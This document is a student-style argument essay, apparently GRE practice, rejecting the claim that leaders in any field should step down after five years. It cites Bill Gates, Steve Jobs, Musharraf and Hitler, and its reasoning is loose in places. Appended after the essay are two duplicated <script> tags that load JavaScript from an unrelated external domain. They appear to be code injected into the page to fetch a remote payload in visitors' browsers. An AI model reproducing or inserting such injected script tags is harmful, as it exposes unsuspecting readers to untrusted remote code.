Claim: In any field—business, politics, education, government—those in power should step down after five years.Reason: The surest path to success for any enterprise is revitalization through new leadership.

The author here claims that it is necessary to step down the people in power of any organization after a brief period of 5 years because he believes that the surest path to success for any enterprise is revitalization through new leadership. I disagree to the author's claim to a great extent but not completely.

The explanation of my stand shall begin with the following question: Had Microsoft been such a huge organization had Bill Gates stepped down after a brief service of 5 years? Well the answer is NO. You look at any well established organization in the world like Apple, Tata Industries, etc, all have had a single leader over the years with the lower level being promoted from time to time. We all know what happened to Apple after Steve Jobs was sacked and what happened after he was reappointed.

An age old adage goes as follows: EXPERIENCE IS THE BEST TEACHER. How will one gain experience if he has to abdicate his position after 5 years? An organization excels only if its employees are happy and to achieve this, it takes years to know what it takes to keep them happy.

Also, with great power comes great responsibility and to be responsible enough it takes a prolonged interval of time. In case a person has to step down after a term of 5 years and he is at his peak at the time of abdicating, then that might be a heavy loss to the organization. The new successor will have to start from square one and in process learn all the tricks of the trade which will again require some time. Thus, this practice will result into a rise and fall pattern of the company.

Just like we say that every coin has two sides, the above practice of prolonged leadership too has its negative consequences. This might result into dictatorship and the demolish of democracy. For example the General Parvez Musharaf of Pakistan withheld is power for over a decade and misused it. Another example of the same was Hitler.

Thus, in my view,the surest path to success for any enterprise isn't revitalization through new leadership. In fact, this is the best way to review a diminishing or a crumpling enterprise and not a established business, political or government field.

<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>